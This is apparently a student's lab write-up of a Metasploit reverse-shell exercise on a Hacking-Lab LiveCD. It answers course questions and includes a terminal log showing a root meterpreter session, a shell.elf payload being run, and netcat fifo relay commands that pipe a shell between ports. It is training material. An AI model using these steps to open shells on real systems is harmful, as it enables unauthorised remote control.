

06-HL LiveCD Simple Metasploit Linux Reverse Shell

Security Questions

- Explain how the reverse shell works:
 - Who opens the TCP connection and to which IP / Port? 192.168.178.99:8080 -> 192.168.178.99:39850 Victim opens the sessions on port 8080.
 - Who opens the shell? Who has control over it? Which computer runs the commands entered? The shell gets open by the victim, meterpreter provide a shell and other tools like making screenshots, enable webcam, etc. The sended stage runs the commands, the victim.
- Add a screenshot of the reverse shell, similar to the one in step 6 (make sure to show the active sessions and run at least one command on it)

The screenshot displays a Metasploit Meterpreter session with the following content:

```
msf6 exploit(multi/handler) > sessions

Active sessions
=====
Id  Name  Type  Information  Connection
---  ---  ---  ---  ---
2   meterpreter x86/linux  root @ hkali (uid=0, gid=0, euid=0, egid=0) @ hkali.hacking-lab.com 192.168.178.99:8080 -> 192.168.178.99:39850

msf6 exploit(multi/handler) > Interrupt: use the 'exit' command to quit
msf6 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

meterpreter > ls
Listing: /tmp
-----
Mode                Size      Type      Last modified          Name
----
41777/rwxrwxrwx  4096    dir      2021-03-31 20:37:02 +0200 .ICE-unix
41777/rwxrwxrwx  4096    dir      2021-03-31 19:16:54 +0200 .Test-unix
100444/r--r--r--  11      fil      2021-03-31 19:16:56 +0200 .X0-Lock
41777/rwxrwxrwx  4096    dir      2021-03-31 19:16:56 +0200 .X11-unix
41777/rwxrwxrwx  4096    dir      2021-03-31 19:16:54 +0200 .XIM-unix
40700/rwx-----  4096    dir      2021-03-31 21:24:47 +0200 .com.google.Chrome.roLnyW
41777/rwxrwxrwx  4096    dir      2021-03-31 19:16:54 +0200 .font-unix
100600/rw-----  406    fil      2021-03-31 20:37:02 +0200 .xfsm-ICE-FZ6800
40700/rwx-----  4096    dir      2021-03-31 21:32:39 +0200 Temp-24d052de-6e08-4bb7-8df9-3e513c26a46d
40700/rwx-----  4096    dir      2021-03-31 21:32:39 +0200 Temp-f746a60f-b608-4e20-b2a5-8d6287919bd4
41777/rwxrwxrwx  4096    dir      2021-03-31 19:16:54 +0200 VMwareDnD
100644/rw-r--r--  0      fil      2021-03-31 21:34:20 +0200 fifo
40700/rwx-----  4096    dir      2021-03-31 21:10:55 +0200 runtime-root
100755/rwxr-xr-x  207    fil      2021-03-31 21:48:10 +0200 shell.elf
40700/rwx-----  4096    dir      2021-03-31 20:37:02 +0200 ssh-JHEmluk1IA0
40700/rwx-----  4096    dir      2021-03-31 19:16:55 +0200 systemd-private-24d136f279bde42187289fca0227187f-ModemManager.service-0BFUD1

/tmp
a
zsh: command not found: a
/tmp
sdf
zsh: command not found: sdf
/tmp
a
zsh: command not found: a
/tmp
sdf
zsh: command not found: sdf
/tmp
a
zsh: command not found: a
/tmp
nc -l -p 1221 < fifo | tee /dev/tty | nc localhost 1220 | tee fifo
zsh: no such file or directory: fifo
Ncat: Connection refused.
/tmp
mkfifo fifo
mkfifo: Cannot create fifo 'fifo': File exists
/tmp
nc -l -p 1221 < fifo | tee /dev/tty | nc localhost 1220 | tee fifo
Ncat: Connection refused.
/tmp
nc -l -p 1221 < fifo | tee /dev/tty | nc localhost 1220 | tee fifo
Ncat: Connection refused.
/tmp
nc -l -p 1221 < fifo | tee /dev/tty | nc localhost 1220 | tee fifo
Ncat: Connection refused.
/tmp
nc -l -p 1221 < fifo | tee /dev/tty | nc localhost 1220 | tee fifo
Ncat: Connection refused.
/tmp
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid lft forever preferred lft forever
    inet6 ::1/128 scope host
        valid lft forever preferred lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:2b:f7:44 brd ff:ff:ff:ff:ff:ff
    inet 192.168.178.99/24 brd 192.168.178.255 scope global dynamic noprefixroute eth0
        valid lft 859680sec preferred lft 859680sec
    inet6 fe80::20c:29ff:fe2b:f744/64 scope link noprefixroute
        valid lft forever preferred lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:2f:8b:0c:b9 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid lft forever preferred lft forever
/tmp
cd /tmp
/tmp/shell.elf
/tmp
cd /tmp
/tmp/shell.elf
```